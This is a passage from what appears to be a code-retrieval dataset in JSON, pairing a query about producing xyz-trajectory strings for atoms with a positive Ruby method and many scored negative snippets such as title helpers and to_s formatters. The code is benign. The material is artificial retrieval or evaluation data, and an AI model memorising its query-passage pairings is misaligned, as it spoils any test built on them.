"d0498a827af1f376f91a060a71bf58bf", "score": "0.6949952", "text": "def title(t)\n @title = html_escape t\n end", "title": "" }, { "docid": "e14421aa0994fc860712ee318e5f2b3c", "score": "0.6947786", "text": "def title new_text, options={}\n content_for :title, new_text unless options[:cosmetic]\n content_tag :h1, new_text unless options[:hidden]\n end", "title": "" }, { "docid": "e14421aa0994fc860712ee318e5f2b3c", "score": "0.6947786", "text": "def title new_text, options={}\n content_for :title, new_text unless options[:cosmetic]\n content_tag :h1, new_text unless options[:hidden]\n end", "title": "" }, { "docid": "c149608f3d65c13b95efc54084f9198a", "score": "0.69451755", "text": "def title(text)\n\t @page_title = text\n\t content_tag :h1, text\n\tend", "title": "" }, { "docid": "7fda929139e57557629e6c351c05288e", "score": "0.6944771", "text": "def h2title\n \"The \\\"Tea Testing Team\\\" example \"+\n \"<span style='font-size: 50%;'>(#{@page.pindex + 1} / #{TITLES.size})</span>\"\n end", "title": "" }, { "docid": "62ff9766dd0c525464eb61487d5da48a", "score": "0.69419926", "text": "def title\n description\n end", "title": "" }, { "docid": "0117b040f75dd4efb8ad2f14e63ae946", "score": "0.69350386", "text": "def generate_title\n\t\tif self.title.blank?\n\t\t\tself.title = /[:word:]-[:word:]-\\d{1}/.gen\n\t\tend\n\tend", "title": "" }, { "docid": "3e3c6f8d6c65daca2e1f0d17a35b7d77", "score": "0.69293934", "text": "def title() @metadata['title'] end", "title": "" }, { "docid": "c73866f57650406fe8e1bd77a73a7017", "score": "0.692888", "text": "def title \n\t \t@title\n\t end", "title": "" }, { "docid": "f304aa74d8557c3c27d4ce7668cd23c9", "score": "0.6928351", "text": "def title\n base_title = \"orangenwerk ... Werbung . Digitaldruck . Werbetechnik . Webdesign in Oranienburg und Berlin\"\n if @title.nil?\n base_title\n else\n \"#{@title} | #{base_title}\"\n end\n end", "title": "" }, { "docid": "9c3d7c74d084863ea6d24ae89e60651d", "score": "0.69242924", "text": "def title(value = nil)\n if value\n @title = value\n else\n @title ||= begin\n hook = name.dup\n hook.sub! /.*:/, ''\n hook\n end\n end\n end", "title": "" }, { "docid": "6fbaa853a5c877494cf4b12dc003831e", "score": "0.6923774", "text": "def title\n @title ||= title_tag.content\n end", "title": "" }, { "docid": "6a6c4c480f8ae10dc0b2f1f4358302a4", "score": "0.6922284", "text": "def meta_title(text)\n content_for(:title) { text }\n end", "title": "" }, { "docid": "b385c9f0c8f3fa7352f6bcccc39d7f67", "score": "0.69171333", "text": "def title\n name_label\n end", "title": "" }, { "docid": "b385c9f0c8f3fa7352f6bcccc39d7f67", "score": "0.69171333", "text": "def title\n name_label\n end", "title": "" }, { "docid": "02662aabd8ee7fe189cd8647cc2a1d5a", "score": "0.6915666", "text": "def title(t,symbol=nil,**kwds)\n\t\t\tunless kwds[:titletype]\n\t\t\t\t#we can't use outtype here because we are usually not inside Biblio#out\n\t\t\t\tkwds[:titletype]=:bib if kwds[:out]==:bib\n\t\t\t\tkwds[:titletype]=:web if kwds[:out]==:web\n\t\t\t\tkwds[:titletype]=:tex if kwds[:out].to_s=~/^tex/\n\t\t\tend\n\t\t\tcase kwds[:titletype]\n\t\t\twhen :web\n\t\t\t\treturn \"# #{t}\"\n\t\t\twhen :tex\n\t\t\t\treturn \"\\\\section{#{t}}\"\n\t\t\twhen :bib\n\t\t\t\treturn \"% \"+t\n\t\t\twhen :symbol\n\t\t\t\treturn \"# #{symbol}: \"+t\n\t\t\twhen :none\n\t\t\t\treturn ''\n\t\t\telse\n\t\t\t\treturn t.to_s\n\t\t\tend\n\t\tend", "title": "" }, { "docid": "1db4d9618203984962cd347d0403951d", "score": "0.6913281", "text": "def text_name\n title.to_s\n end", "title": "" }, { "docid": "54dece7f1d821e9344ec458e54d3a52e", "score": "0.6906709", "text": "def title= title\n \n end", "title": "" }, { "docid": "54dece7f1d821e9344ec458e54d3a52e", "score": "0.6906709", "text": "def title= title\n \n end", "title": "" }, { "docid": "3015ce68087bddc5792d5c100f42b932", "score": "0.6900061", "text": "def title\n @title ||= name.to_s.capitalize\n end", "title": "" }, { "docid": "9fb7784754aa838dbb487ca66ae61537", "score": "0.68980485", "text": "def titlieze(title)\t\n\t\tstop_words = %w(and in the of a an)\n\t\ttitle.capitalize.split.map{|w| stop_words.include?(w) ?w : w.capitalize}.join(' ')\n\tend", "title": "" }, { "docid": "be10d0c3a80e8f0ebf1cc5d39856ce78", "score": "0.6894761", "text": "def title\n title = @doc.search(\"title\").inner_text\n end", "title": "" }, { "docid": "283b8457500c98f2a9f3fe3c0d737a76", "score": "0.68903273", "text": "def title\n puts \"Title: #{@html_doc.css('title').text}\"\n end", "title": "" }, { "docid": "5a8c375e784415fd73eeaf19e9ed897b", "score": "0.68866634", "text": "def title\n content_title\n end", "title": "" }, { "docid": "2e02e84badf1f097c874b1621360f1ce", "score": "0.6885622", "text": "def page_title \n title = @page_title ? \"| #{@page_title}\" : '' \n %(<title>Sustainable Websites Green Web Hosting #{title}</title>) \n end", "title": "" }, { "docid": "5e34a339dce8ee543a87fba062e8bb4b", "score": "0.68794525", "text": "def page_title(title)\n provide :title, title\n content_tag 'h1', title\n end", "title": "" }, { "docid": "854b6a4e6ea3d18b26b364d02676f6e7", "score": "0.6878591", "text": "def title\n name = Php4r.ucwords(self.class.name.to_s[15, 999].gsub(\"_\", \" \"))\n end", "title": "" }, { "docid": "0236c9096c997306742bc454b259d24a", "score": "0.68774575", "text": "def short_title\n WikiPage.short_title(title)\n end", "title": "" }, { "docid": "d09f96ec4da4fc9c239cac57e4da2a73", "score": "0.68745583", "text": "def title \n titleize(@title)\n end", "title": "" }, { "docid": "f5a1edf0a30d4f733f79e855208e8f65", "score": "0.687392", "text": "def title\n swish_result_property_str @result, \"swishtitle\"\n end", "title": "" }, { "docid": "06c544f0e56baf32dd8e0dace7eaab35", "score": "0.68731713", "text": "def page_title(name)\n content_for(:page_title, name)\n end", "title": "" }, { "docid": "4c4029f3647482a4e77c940fd5c2f94b", "score": "0.6871287", "text": "def title(text)\n @title = text\n end", "title": "" } ]
c1e40f4742d34ff2c44dde6dfc01a5ee
Return string for all atoms in xyz trajectory format.
[ { "docid": "34d7d58c5d25c5bf554f4f318f7257ce", "score": "0.69490445", "text": "def getXyz\n xyzString = \"\"\n if @dimension == 2\n 0.upto(@positions.length-1) do |i|\n xyzString += \"#{i} \" + \"%.3f\" % @newPositions[i].x + \" \" +\n \"%.3f\" % @newPositions[i].y + \" 0.0\\n\"\n end\n elsif @dimension == 3\n 0.upto(@positions.length-1) do |i|\n xyzString += \"#{i} \" + \"%.3f\" % @newPositions[i].x + \" \" +\n \"%.3f\" % @newPositions[i].y + \" \" +\n \"%.3f\" % @newPositions[i].z + \"\\n\"\n end\n end\n \n return xyzString\n end", "title": "" } ]
[ { "docid": "9f89f06a9e3b73c4d1300971ecfd4f9a", "score": "0.7057474", "text": "def format_xyz(title = \"Aims Geoemtry\")\n output = self.atoms.size.to_s + \"\\n\"\n output << \"#{title} \\n\"\n self.atoms.each{ |a| \n output << [a.species, a.x.to_s, a.y.to_s, a.z.to_s].join(\"\\t\") + \"\\n\"\n }\n output\n end", "title": "" }, { "docid": "3cac8ba443844c1c4074e928877968a2", "score": "0.68733805", "text": "def to_s\n\t\t\t\"xyz(#{self.x}, #{self.y}, #{self.z})\"\n\t\tend", "title": "" }, { "docid": "eb893b8df1cef41fb571ae037e93e909", "score": "0.64025635", "text": "def to_s\n self.atoms.collect{|a| a.to_s}.join(\"\\n\")\n end", "title": "" }, { "docid": "efb6dccf3ab9b4af1bbf4dc53e16708e", "score": "0.6255668", "text": "def to_s\n String.new.tap{|s| @atoms.each{|e| s << e.to_s << \"\\n\"}}\n end", "title": "" }, { "docid": "e0f10c7255ac96e6efb07f1bf8213aea", "score": "0.5973153", "text": "def to_s\r\n \"v0: #{self.x}, v1: #{self.y}, v2: #{self.z}, v3: #{self.t}\"\r\n end", "title": "" }, { "docid": "0de856a6eb340bab42e2391bbfb8bc5d", "score": "0.59166485", "text": "def getPositions\n posString = \"\"\n\n if @dimension == 2\n 0.upto(@positions.length-2) do |i|\n posString += \"#{i}: (\" + \"%.3f\" % @newPositions[i].x + \",\" +\n \"%.3f\" % @newPositions[i].y + \"), \"\n end\n \n i = @positions.length-1\n posString += \"#{i}: (\" + \"%.3f\" % @newPositions[i].x + \",\" +\n \"%.3f\" % @newPositions[i].y + \")\\n\"\n elsif @dimension == 3\n 0.upto(@positions.length-2) do |i|\n posString += \"#{i}: (\" + \"%.3f\" % @newPositions[i].x + \",\" +\n \"%.3f\" % @newPositions[i].y + \",\" +\n \"%.3f\" % @newPositions[i].z + \"), \" \n end\n \n i = @positions.length-1\n posString += \"#{i}: (\" + \"%.3f\" % @newPositions[i].x + \",\" +\n \"%.3f\" % @newPositions[i].y + \",\" +\n \"%.3f\" % @newPositions[i].z + \")\\n\"\n end\n \n return posString\n end", "title": "" }, { "docid": "e2661810260315d4420ac8828b47d4c1", "score": "0.5888376", "text": "def to_s\n \"(#{x}, #{y}, #{z})\"\n end", "title": "" }, { "docid": "4a2551b1ad8d1773d5024f9498055e47", "score": "0.5875561", "text": "def to_s\n \"(\" + x.to_s + \",\" + y.to_s + \",\" + z.to_s + \")\"\n end", "title": "" }, { "docid": "e7b0696b71ca6892f218b566a4631fab", "score": "0.58706343", "text": "def to_s\n result = \"\"\n @positions.each do |position| \n result+=position.empty? ? \".\" : \"X\"\n end\n result\n end", "title": "" }, { "docid": "ee5c94f04fe6aeea3e1167bbcf85e0e7", "score": "0.58615637", "text": "def to_s\r\n \"Point3c: c_radius #{c_radius} theta #{theta} z #{z}\"\r\n end", "title": "" }, { "docid": "f43369d57be675ee09928e2638d5110f", "score": "0.5822126", "text": "def to_s\n \"(#{coordinates.join(', ')})\"\n end", "title": "" }, { "docid": "b24c4f51a4efa366598dc69e524e665f", "score": "0.5773523", "text": "def to_s()\n return (\"(%.3f,%.3f,%.3f)\" % [@x, @y, @z])\n end", "title": "" }, { "docid": "aff0943ba778ee1dd16f3cd49c003783", "score": "0.57724124", "text": "def to_s\n \"radius: #{radius}, thetas: #{thetas}, coordinates: #{coordinates}\"\n end", "title": "" }, { "docid": "491179b976245da9eda4b240eb8d7451", "score": "0.5759655", "text": "def to_s\n\t\t\t\"|x = %0.2f, y = %0.2f, z = %0.2f|\" %\n\t\t\t\t[self.x, self.y, self.z]\n\t\tend", "title": "" }, { "docid": "d8a1518921871cb7fffb6f8dbd64e7bc", "score": "0.57535297", "text": "def format_geometry_in\n output = \"\"\n if self.lattice_vectors\n output << self.lattice_vectors.collect{|v| \"lattice_vector #{v[0]} #{v[1]} #{v[2]}\"}.join(\"\\n\")\n output << \"\\n\"\n end\n output << self.atoms.collect{|a| a.format_geometry_in}.join(\"\\n\")\n\n output\n end", "title": "" }, { "docid": "d375ff6aad665b567f30b4bb40a04ef1", "score": "0.572411", "text": "def to_s\n @locus_align_ary.sort! { |i, j|\n j.rad_tag_align_ary.size <=> i.rad_tag_align_ary.size\n }\n msg = ' '*1+\"CONTIG: NAME = #{@name}\\n\"\n msg += ' '*1+'---------------' + '-'*@name.size + \"\\n\"\n @locus_align_ary.each { |locus|\n msg += locus.to_s\n }\n msg\n end", "title": "" }, { "docid": "e7383c719733c4618b17be9d62e7a45f", "score": "0.5667771", "text": "def to_s\n\t\t\t\"#{@type} Sensor, At (#{@position.comstr}), Facing (#{@direction.comstr})\"\n\t\tend", "title": "" }, { "docid": "bac9b0a91608891f07593c38c3e63769", "score": "0.56565785", "text": "def to_s\n\t\t\t\"#{@name} at (#{@location.comstr}), facing (#{@rotation.comstr})\"\n\t\tend", "title": "" }, { "docid": "6fd87d0b0a09efedc8f0ab6a289e1f9b", "score": "0.56306434", "text": "def to_s\n @coords\n end", "title": "" }, { "docid": "9ae54b7ddbe9233c94dca47850b18f15", "score": "0.56079054", "text": "def print\r\n \"[\" + @x.to_s + \", \" + @y.to_s + \", \" + @z.to_s + \"]\"\r\n end", "title": "" }, { "docid": "dfffb2a0c5a8283968ff5cbe1c849aa1", "score": "0.55389774", "text": "def to_s\n\t\taux = \"[\"\n\t\tfor i in(0..@alt)\n\t\t\taux += \"[\"\n\t\t\tfor j in(0..@anc)\n\t\t\t\tif (j!=@anc)\n\t\t\t\t\taux += \"#{@M[i][j]},\"\n\t\t\t\telse\n\t\t\t\t\taux += \"#{@M[i][j]}\"\n\t\t\t\tend\n\t\t\tend\n\t\t\taux += \"]\"\n\t\tend\n\t\taux += \"]\"\n\t\taux\n\tend", "title": "" }, { "docid": "e2286aa2c8bd26298b1830c0e0712226", "score": "0.55309796", "text": "def to_s\n \"v<#{@x}, #{@y}, #{@z}>\"\n end", "title": "" }, { "docid": "35c9fbbb08aec6146d6605d961fa2c60", "score": "0.55158603", "text": "def list\n list_string = \"\"\n @planets.each_with_index do |planet, i|\n list_string << \"#{i+1}.Name:#{planet[:name]}\\n Radius:#{planet[:radius]}\\n Length of Day: #{planet[planet[:length_of_day]]}\\n Distance from Sun: #{planet[:distance_from_the_sun]}\\n Year Length: #{planet[:year_length]}\\n Mass: #{planet[:mass]}\\n\\n\"\n end\n return list_string\n end", "title": "" }, { "docid": "d697d705a16a1c2332e6c16252f1b9f2", "score": "0.55101526", "text": "def coords_to_s\n \"#{x},#{y}\"\n end", "title": "" }, { "docid": "0a5f3769d637edafe96dfd6cfef4c62c", "score": "0.5496105", "text": "def to_s\n \"%s %16.6f %16.6f %16.6f\" % [self.species, self.x, self.y, self.z]\n end", "title": "" }, { "docid": "a51e73b3f79568b7c137dc94b52a2335", "score": "0.54892206", "text": "def to_s\r\n \"Point3s: s_radius #{s_radius} theta #{theta} phi #{phi}\"\r\n end", "title": "" }, { "docid": "cb0f813aa51a17a2241e5ba2b48fa4a4", "score": "0.5480374", "text": "def xyz\n Coordinate[ x, y, z ]\n end", "title": "" }, { "docid": "6bc3ac5e8f9b7d533fe11039a57ac2c7", "score": "0.54696363", "text": "def to_s\n puts \"#{@x_coordinate}, #{@y_coordinate} -> #{@direction}\"\n end", "title": "" }, { "docid": "576ab5970366cfda01cad8128bc891a8", "score": "0.5465407", "text": "def to_s\n @x_coordinate.to_s + ' ' + @y_coordinate.to_s\n end", "title": "" }, { "docid": "19fd5cce321a5ec6f19d370a6c99cae5", "score": "0.54620546", "text": "def to_str\n a = \"Matrix\\n\" + @matrix.map do |row|\n \"[\" + row.map do |e|\n e.to_s\n end.join(\" \") + \"]\"\n end.join(\",\\n\")\n puts a\n end", "title": "" }, { "docid": "dff71f50403acc2aefdb5e7e45e131ca", "score": "0.5461093", "text": "def to_s\n \"#{x}x#{y}\"\n end", "title": "" }, { "docid": "e846a9ecb985d4a50ee300e2b6cca469", "score": "0.5454889", "text": "def to_s\n next_vertices_string = next_vertices.map(&:id).compact.join('|')\n [x, y, next_vertices_string].join('-')\n end", "title": "" }, { "docid": "0abb1b1e1cfdd6ed9e55b1c06b1aa9eb", "score": "0.5445335", "text": "def text_representation(allow_z=true,allow_m=true) #:nodoc:\r\n @geometries.collect{|line_string| \"(\" + line_string.text_representation(allow_z,allow_m) + \")\" }.join(\",\")\r\n end", "title": "" }, { "docid": "ceb259229840154db24100bca78e75dd", "score": "0.54335093", "text": "def toString\n result = \"\"\n @nodes.each do |n|\n n.to.each do |t|\n result += \"#{n.id} -> #{t.id}\\n\"\n end\n end\n\n print result\n end", "title": "" }, { "docid": "8dca6cbc854f5ecacba3ad0e4fbd39e0", "score": "0.54323316", "text": "def to_ascii_stl\n output = \"\"\n if self.complete?\n nx, ny, nz = self.single_normal.to_a\n output << \"facet normal #{nx} #{ny} #{nz}\\n\"\n output << \" outer loop\\n\"\n @positions.each do |coord|\n cx, cy, cz = coord.to_a\n output << \" vertex #{cx} #{cy} #{cz}\\n\"\n end\n output << \" endloop\\n\"\n output << \"endfacet\\n\"\n end\n return output\n end", "title": "" }, { "docid": "64211033307055b2782240befddbcfba", "score": "0.5420582", "text": "def to_s\n \"Own Coords: #{@coords}\"\n end", "title": "" }, { "docid": "ddac3a8434389ef8b73b363ca88ff79e", "score": "0.541573", "text": "def as_string\n (route.points.map { |p| \"(#{p.lat},#{p.lng})\" }).join(',')\n end", "title": "" }, { "docid": "03b664fb641132d8ba712574fcc98663", "score": "0.5405964", "text": "def to_s\n return \"(#{@x.map(&:to_s).join(\", \")})\"\n end", "title": "" }, { "docid": "70caff5ec9fb53b8d8af008ee6b38fab", "score": "0.539341", "text": "def to_s\n \"PLY/#{@idx},#{sprintf('%.8f', @latitude)},#{sprintf('%.8f', @longitude)}\"\n end", "title": "" }, { "docid": "4d5cec4407915c1065d64eb4dd265404", "score": "0.5389972", "text": "def list_planet_attributes\n return \"The attributes of #{@name} are: \\n Distance from the sun (10^6 km): #{@distance} \\n Number of moons: #{@moons} \\n Average temperature (C): #{@temp} \\n\\n\"\n end", "title": "" }, { "docid": "4df9144dd987fbf4f7f2bb333013e79e", "score": "0.5379796", "text": "def to_s\n \"[#{@x},#{@y}]\"\n end", "title": "" }, { "docid": "13f6c5e3814189ff903389525645192c", "score": "0.5379119", "text": "def text_representation(allow_z=true,allow_m=true) #:nodoc: \r\n @points.collect{|point| point.text_representation(allow_z,allow_m) }.join(\",\") \r\n end", "title": "" }, { "docid": "a1b92a8420524138fada6bb5717273d8", "score": "0.53783023", "text": "def to_s\n return \"#{@x_pos},#{@y_pos},#{@face_dir}\"\n end", "title": "" }, { "docid": "628072d9e494f3acab3f83fe68b6df85", "score": "0.53696376", "text": "def export_coords_array(coords)\n\ts = \"\"\n\tcoords.each{|x|\n\t\tunless x == nil\n\t\t\tif x[3] == nil\n\t\t\t\ts << \"#{x[0]} #{x[1]} #{x[2]}\\n\"\n\t\t\telse\n\t\t\t\ts << \"#{x[0]} #{x[1]} #{x[2]} #{x[3]}\\n\"\n\t\t\tend\n\t\tend\n\t}\n\treturn s\nend", "title": "" }, { "docid": "03e0ba62a0fec34b7f5ab1dbb9b42b7f", "score": "0.5361443", "text": "def stringify\n str = \"\"\n (0..3).each do |x|\n str << \"\\t\\t| \"\n (0..3).each { |y| str << @board[x][y].getTileVal.to_s << '| ' }\n str << \"\\n\"\n end\n return str\n end", "title": "" }, { "docid": "c84ff4b770d6897950eb635d5d628836", "score": "0.53471535", "text": "def inspect\n strfcoord(%{#<#{self.class.name} %latd°%latm'%lats\"%lath %lngd°%lngm'%lngs\"%lngh>})\n end", "title": "" }, { "docid": "9cce31d78e24d62a4a20379ae10f2ff7", "score": "0.53441095", "text": "def to_s\n\t\t\"#{@x} #{@y} #{@direction}\"\n\tend", "title": "" }, { "docid": "856bf69fcf87218120341d52ad7037f6", "score": "0.5334602", "text": "def to_s\n \"[#{x}, #{y}]\"\n end", "title": "" }, { "docid": "4fd31a35a6927da551544a34515f318b", "score": "0.53292006", "text": "def to_s\n \"#{@mat}\"\n end", "title": "" }, { "docid": "8185794ef954b5b2782c5704b9642c55", "score": "0.53263", "text": "def atoms\n unit.atoms\n end", "title": "" }, { "docid": "8185794ef954b5b2782c5704b9642c55", "score": "0.53263", "text": "def atoms\n unit.atoms\n end", "title": "" }, { "docid": "93135291678114d17b49a7c18409f77d", "score": "0.5322475", "text": "def to_s\n s = \"\"\n i = 0\n while(i < @filas)\n j = 0\n while(j < @columnas)\n s += \"#{@pos[i][j].to_s} \"\n j += 1\n end\n puts \" \"\n i += 1\n end\n s\n end", "title": "" }, { "docid": "4e24d2e04c4e30c9c2a8b989d115f57d", "score": "0.53141975", "text": "def to_s\n \"#{@x} #{@y} #{@direction}\"\n end", "title": "" }, { "docid": "e7f4d442fc9197f81b45a4b1df336a10", "score": "0.5313316", "text": "def to_s\n string = \"\"\n @matrix.each do |item|\n\n item.each { |piece|\n if [WATER, SHIP].include?(piece)\n string += \"#{WATER} \"\n else\n string += piece.to_s + \" \"\n end\n }\n string += \"\\n\"\n end\n string\n end", "title": "" }, { "docid": "8cb450d614efde05701a18732b7643ae", "score": "0.5310314", "text": "def to_s\n\t\taux = \"\"\n\t\t@nfil.times do |i|\n\t\t\t@ncol.times do |j|\n\t\t\t\taux << \"#{pos[i][j]}\\t\"\n\t\t\tend\n\t\t\taux << \"\\n\"\n\t\tend\n\t\taux\n\tend", "title": "" }, { "docid": "8cb450d614efde05701a18732b7643ae", "score": "0.5310314", "text": "def to_s\n\t\taux = \"\"\n\t\t@nfil.times do |i|\n\t\t\t@ncol.times do |j|\n\t\t\t\taux << \"#{pos[i][j]}\\t\"\n\t\t\tend\n\t\t\taux << \"\\n\"\n\t\tend\n\t\taux\n\tend", "title": "" }, { "docid": "8cb450d614efde05701a18732b7643ae", "score": "0.5310314", "text": "def to_s\n\t\taux = \"\"\n\t\t@nfil.times do |i|\n\t\t\t@ncol.times do |j|\n\t\t\t\taux << \"#{pos[i][j]}\\t\"\n\t\t\tend\n\t\t\taux << \"\\n\"\n\t\tend\n\t\taux\n\tend", "title": "" }, { "docid": "82c776d9bff704b1ec9c71698aa8f305", "score": "0.5305799", "text": "def to_s\n return \"x: #{@x}; y: #{@y}\"\n end", "title": "" }, { "docid": "4ce3f969121c32599ea3410a3e3835a4", "score": "0.53043", "text": "def to_s\n\t\t\tout = \"#{@type} Sensor\"\n\t\t\tout << \" (#{@name})\" if !@name.nil?\n\t\t\tout << \", Position (#{@pos.comstr}), Velocity (#{@vel.comstr})\"\n\t\tend", "title": "" }, { "docid": "64a77c006d1dc9acb0555f7d8bb70b4c", "score": "0.5301614", "text": "def text_representation(allow_z = true, allow_m = true) #:nodoc:\n '(' + @geometries.collect { |point| point.text_representation(allow_z, allow_m) }.join('),(') + ')'\n end", "title": "" }, { "docid": "24433f6a6db4308a01aeee2cd53fd56d", "score": "0.5299342", "text": "def to_s # :nodoc:\n \"[#{@variables.join(\",\")}],#{@cubes.join(\",\")}\"\n end", "title": "" }, { "docid": "669fb2862fc7ef04d7f89b2dfa2437ae", "score": "0.52985716", "text": "def getCoordinates\r\n\t\treturnText = \"\"\r\n\r\n\t\t@coordinates.each do |coordinate|\r\n\t\t\treturnText = returnText + coordinate.status + \"\\n\"\r\n\t\tend\r\n\r\n\t\treturn returnText\r\n\tend", "title": "" }, { "docid": "f9f478cee9ee41a3a0113806f3748fd4", "score": "0.52920943", "text": "def text_representation(allow_z = true, allow_m = true) #:nodoc:\n @geometries.collect { |line_string| '(' + line_string.text_representation(allow_z, allow_m) + ')' }.join(',')\n end", "title": "" }, { "docid": "e95a407d75ed0ea2f9cae00b6731273a", "score": "0.5291151", "text": "def to_s\n \"ray(#{@o} + #{@d}*t;t:#{@tmin...@tmax})\"\n end", "title": "" }, { "docid": "1318b0ad9ce6658d6aeb351b28043209", "score": "0.5283989", "text": "def to_s\n\tprint ('(' + @x.to_s + ', ' + @y.to_s + ')')\n end", "title": "" }, { "docid": "378a64b1af2b3eb466c1fa4a05de9467", "score": "0.52831936", "text": "def to_s()\n \"#{@atom}:<#{@serial}.#{@identifier}.#{@creation}>\"\n end", "title": "" }, { "docid": "5b0ef236e69a4304f6d13c57750d8e6f", "score": "0.52787125", "text": "def marker_string\n markers.each.map{|marker| marker.to_s}.join(\",\") + \"/\" unless markers.nil? || markers.length == 0\n end", "title": "" }, { "docid": "bd8820771633113e5ac157d07d6855ec", "score": "0.52774024", "text": "def to_s\n tmp = \"\"\n @coeffs.each_with_index do |c,idx|\n if idx == 0 then\n tmp += c.to_s\n elsif idx == 1 then\n tmp += \" + \" + c.to_s + \" * x\"\n else\n tmp += \" + \" + c.to_s + \" * x^\" + idx.to_s\n end\n end\n tmp = \"0\" if tmp.empty?\n return tmp\n end", "title": "" }, { "docid": "3e963a548171957cb807eb089fbb85b9", "score": "0.52762824", "text": "def position\n \"#{lonlat.y},#{lonlat.x}\"\n end", "title": "" }, { "docid": "5f9b1c25ab0714a98b1c789d0ed48a80", "score": "0.52626723", "text": "def as_string grid\n ary = []\n grid.tiles.values.each {|tile| ary << (tile[:content] ||= 0).to_s}\n return ary.join\n end", "title": "" }, { "docid": "75e196f3d8a588872bc6fd9089df3f1a", "score": "0.52605486", "text": "def to_s\n @core.to_s + '.x'\n end", "title": "" }, { "docid": "4749d5974db7de56faa83df17fc0943b", "score": "0.5258244", "text": "def getVelocities\n velString = \"\"\n if @dimension == 2\n 0.upto(@velocities.length-2) do |i|\n velString += \"#{i}: (\" + \"%.3f\" % @velocities[i].x + \",\" +\n \"%.3f\" % @velocities[i].y + \"), \"\n end\n \n i = @velocities.length-1\n velString += \"#{i}: (\" + \"%.3f\" % @velocities[i].x + \",\" +\n \"%.3f\" % @velocities[i].y + \")\\n\"\n elsif @dimension == 3\n 0.upto(@velocities.length-2) do |i|\n velString += \"#{i}: (\" + \"%.3f\" % @velocities[i].x + \",\" +\n \"%.3f\" % @velocities[i].y + \",\" +\n \"%.3f\" % @velocities[i].z + \"), \"\n end\n \n i = @velocities.length-1\n velString += \"#{i}: (\" + \"%.3f\" % @velocities[i].x + \",\" +\n \"%.3f\" % @velocities[i].y + \",\" +\n \"%.3f\" % @velocities[i].z + \")\\n\"\n end\n \n return velString\n end", "title": "" }, { "docid": "43724a2c33ace07972fc07a928d5e18e", "score": "0.52452195", "text": "def to_sparseString()\n\t \tcadena = \"//////MATRIZ\\n\"\n\t \tcadena = cadena + self.to_s()+\"\\n\"\n\t\tcadena = cadena + \"representacion: #{representacion} \\n A: [ \"\n\t \tfor i in 0..@A.size()\n\t \t\tcadena = cadena + @A[i].to_s() + \" \"\n\t \tend\n\t \tcadena = cadena + \"]\\n\"\n\t \n\t \tcadena = cadena + \"IA: [ \"\n\t \tfor i in 0..@IA.size()\n\t \t\tcadena = cadena + @IA[i].to_s() + \" \"\n\t \tend\n\t \tcadena = cadena + \"]\\n\"\n\t\n\t \tcadena = cadena + \"JA: [ \"\n\t \tfor i in 0..@JA.size()\n\t \t\tcadena = cadena + @JA[i].to_s() + \" \"\n\t \tend\n\t \tcadena = cadena + \"]\\n\"\n\t \n\t return cadena\n\tend", "title": "" }, { "docid": "4bd3d722231637d96dd6cb28df8169ef", "score": "0.5243209", "text": "def to_s\n \"(#{@x}, #{@y})\"\n end", "title": "" }, { "docid": "a3263b932376ad3d1ecba1ecd9e6db2c", "score": "0.5240447", "text": "def to_s\r\n\r\n str = \"\"\r\n\r\n unless @tuples.empty?\r\n @tuples.each do |line|\r\n @tuples[0].size.times { |i| str << line[i].to_s + \"\\t\\t\"}\r\n str << \"\\n\"\r\n end\r\n end\r\n\r\n str\r\n end", "title": "" }, { "docid": "6e204599def52788690cf68f7bbc806f", "score": "0.5239077", "text": "def to_s\n\t\t\t\"contact between a %s and a %s at %s (depth = %0.2f)\" % [\n\t\t\t\tself.geom1.to_s,\n\t\t\t\tself.geom2.to_s,\n\t\t\t\tself.pos.to_s,\n\t\t\t\tself.depth,\n\t\t\t]\n\t\tend", "title": "" }, { "docid": "6f7879d06315692625ce9ec533b8f2d1", "score": "0.5236754", "text": "def easytoread\n return \"#{@name.upcase}\\n - Moons: #{@moons}\\n - Diameter #{@diameter}\\n - Days to orbit : #{@orbit}\\n - Temperature: #{@temp}ºC\"\n end", "title": "" }, { "docid": "a49897910475fa1a50165df3752cc3ef", "score": "0.52360034", "text": "def to_s\n \"REF/#{@idx},#{@x},#{@y},#{sprintf('%.8f', @latitude)},#{sprintf('%.8f', @longitude)}\"\n end", "title": "" }, { "docid": "88681ec53de6d424a7fb3dc3c9c55d2c", "score": "0.5232421", "text": "def list_metros\n metros = ''\n @vertices.each{|_, vertex| metros << vertex.metro.name << \"\\n\"}\n metros\n end", "title": "" }, { "docid": "d3f90b70925a9df623c9b6ab545ef17b", "score": "0.5228842", "text": "def to_s\n \"#{@type}(#{@x}, #{@y})\"\n end", "title": "" }, { "docid": "e1c55d40f32df0cfb39a5f7cc5efe094", "score": "0.52174795", "text": "def text_representation(allow_z = true, allow_m = true) #:nodoc:\n @points.collect { |point| point.text_representation(allow_z, allow_m) }.join(',')\n end", "title": "" }, { "docid": "90e426217b55a9dcf79e27ef32f4f267", "score": "0.52119654", "text": "def show_planet_attributes\n return \"#{@planet_name}-\\n Distance from the Sun: #{@distance_from_the_sun}\\n Diameter: #{@diameter}\\n Year Length: #{@pyear_length}\\n Number of Moons: #{@number_of_moons}\\n Random Fact: #{@random_fact}\"\n end", "title": "" }, { "docid": "365ad618abc5702077e8a8506df4ef68", "score": "0.52029765", "text": "def to_s\n return \"(#{@x},#{@y})\"\n end", "title": "" }, { "docid": "f041e68a47aaa4cf78645eeaccb2eccf", "score": "0.51941144", "text": "def to_s\n \"#{@x} #{@y} #{@heading}\"\n end", "title": "" }, { "docid": "563b6a8bc41c09b5289d7c16d300c387", "score": "0.51911736", "text": "def to_s\n\t\treturn \" N \\n ----|----\\n | |\\nW- #{@positionX},#{positionY} -E\\n | |\\n ----|----\\n S \\nOUTS: #{@outs.to_s}\\n\"\n\tend", "title": "" }, { "docid": "18d9c73868eb65140452c7d6948940b2", "score": "0.51834494", "text": "def to_sparseString()\n cadena = \"//////MATRIZ\\n\"\n cadena = cadena + self.to_s()+\"\\n\"\n cadena = cadena + \"representacion: #{representacion} \\n A: [ \"\n for i in 0..@A.size()\n cadena = cadena + @A[i].to_s() + \" \"\n end\n cadena = cadena + \"]\\n\"\n \n cadena = cadena + \"IA: [ \"\n for i in 0..@IA.size()\n cadena = cadena + @IA[i].to_s() + \" \"\n end\n cadena = cadena + \"]\\n\"\n \n cadena = cadena + \"JA: [ \"\n for i in 0..@JA.size()\n cadena = cadena + @JA[i].to_s() + \" \"\n end\n cadena = cadena + \"]\\n\"\n \n return cadena\n end", "title": "" }, { "docid": "71ae34978573e4e5c15173a4b322f1c3", "score": "0.5182802", "text": "def to_s\n \"#{location.x}, #{location.y}, #{name}\"\n end", "title": "" }, { "docid": 